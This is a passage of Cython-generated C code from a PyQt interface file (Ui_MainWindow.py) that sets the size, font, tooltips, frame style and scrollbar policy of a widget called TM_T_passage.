871, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_7}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 871, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_7}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 871, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 871, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_7); __pyx_t_7 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_6, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 871, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":872 * self.TM_T_passage.setSizePolicy(sizePolicy) * self.TM_T_passage.setMaximumSize(QtCore.QSize(16777215, 16777215)) * self.TM_T_passage.setBaseSize(QtCore.QSize(0, 0)) # <<<<<<<<<<<<<< * font = QtGui.QFont() * font.setPointSize(8) */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 872, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_setBaseSize); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 872, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 872, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QSize); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 872, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__551, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 872, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_7) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_9); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 872, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_9}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 872, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_9}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 872, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 872, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_1, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 872, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":873 * self.TM_T_passage.setMaximumSize(QtCore.QSize(16777215, 16777215)) * self.TM_T_passage.setBaseSize(QtCore.QSize(0, 0)) * font = QtGui.QFont() # <<<<<<<<<<<<<< * font.setPointSize(8) * self.TM_T_passage.setFont(font) */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtGui); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 873, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QFont); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 873, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (__pyx_t_6) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 873, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 873, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF_SET(__pyx_v_font, __pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":874 * self.TM_T_passage.setBaseSize(QtCore.QSize(0, 0)) * font = QtGui.QFont() * font.setPointSize(8) # <<<<<<<<<<<<<< * self.TM_T_passage.setFont(font) * self.TM_T_passage.setToolTip("") */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setPointSize); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 874, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__552, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 874, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":875 * font = QtGui.QFont() * font.setPointSize(8) * self.TM_T_passage.setFont(font) # <<<<<<<<<<<<<< * self.TM_T_passage.setToolTip("") * self.TM_T_passage.setStatusTip("") */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 875, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setFont); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 875, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_v_font); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 875, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_v_font}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 875, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_v_font}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 875, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 875, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_INCREF(__pyx_v_font); __Pyx_GIVEREF(__pyx_v_font); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_v_font); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_9, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 875, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":876 * font.setPointSize(8) * self.TM_T_passage.setFont(font) * self.TM_T_passage.setToolTip("") # <<<<<<<<<<<<<< * self.TM_T_passage.setStatusTip("") * self.TM_T_passage.setAccessibleName("") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 876, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 876, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__553, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 876, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":877 * self.TM_T_passage.setFont(font) * self.TM_T_passage.setToolTip("") * self.TM_T_passage.setStatusTip("") # <<<<<<<<<<<<<< * self.TM_T_passage.setAccessibleName("") * self.TM_T_passage.setAccessibleDescription("") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 877, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 877, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__554, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 877, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":878 * self.TM_T_passage.setToolTip("") * self.TM_T_passage.setStatusTip("") * self.TM_T_passage.setAccessibleName("") # <<<<<<<<<<<<<< * self.TM_T_passage.setAccessibleDescription("") * self.TM_T_passage.setAutoFillBackground(False) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 878, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 878, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__555, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 878, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":879 * self.TM_T_passage.setStatusTip("") * self.TM_T_passage.setAccessibleName("") * self.TM_T_passage.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.TM_T_passage.setAutoFillBackground(False) * self.TM_T_passage.setFrameShape(QtWidgets.QFrame.StyledPanel) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 879, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 879, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__556, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 879, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":880 * self.TM_T_passage.setAccessibleName("") * self.TM_T_passage.setAccessibleDescription("") * self.TM_T_passage.setAutoFillBackground(False) # <<<<<<<<<<<<<< * self.TM_T_passage.setFrameShape(QtWidgets.QFrame.StyledPanel) * self.TM_T_passage.setFrameShadow(QtWidgets.QFrame.Sunken) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 880, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setAutoFillBackground); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 880, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__557, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 880, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":881 * self.TM_T_passage.setAccessibleDescription("") * self.TM_T_passage.setAutoFillBackground(False) * self.TM_T_passage.setFrameShape(QtWidgets.QFrame.StyledPanel) # <<<<<<<<<<<<<< * self.TM_T_passage.setFrameShadow(QtWidgets.QFrame.Sunken) * self.TM_T_passage.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 881, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setFrameShape); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 881, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 881, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QFrame); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 881, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_StyledPanel); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 881, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 881, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_6}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 881, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_6}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 881, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 881, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_7, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 881, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":882 * self.TM_T_passage.setAutoFillBackground(False) * self.TM_T_passage.setFrameShape(QtWidgets.QFrame.StyledPanel) * self.TM_T_passage.setFrameShadow(QtWidgets.QFrame.Sunken) # <<<<<<<<<<<<<< * self.TM_T_passage.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff) * self.TM_T_passage.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContentsOnFirstShow) */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 882, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_setFrameShadow); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 882, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 882, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QFrame); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 882, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_Sunken); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 882, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_6) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 882, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_9}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 882, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_9}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 882, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 882, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 882, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":883 * self.TM_T_passage.setFrameShape(QtWidgets.QFrame.StyledPanel) * self.TM_T_passage.setFrameShadow(QtWidgets.QFrame.Sunken) * self.TM_T_passage.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff) # <<<<<<<<<<<<<< * self.TM_T_passage.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContentsOnFirstShow) * self.TM_T_passage.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 883, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setHorizontalScrollBarPolicy); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 883, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 883, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_Qt); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 883, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_ScrollBarAlwaysOff); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 883, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_9) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_7); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 883, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_7}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 883, __pyx_L1_error) 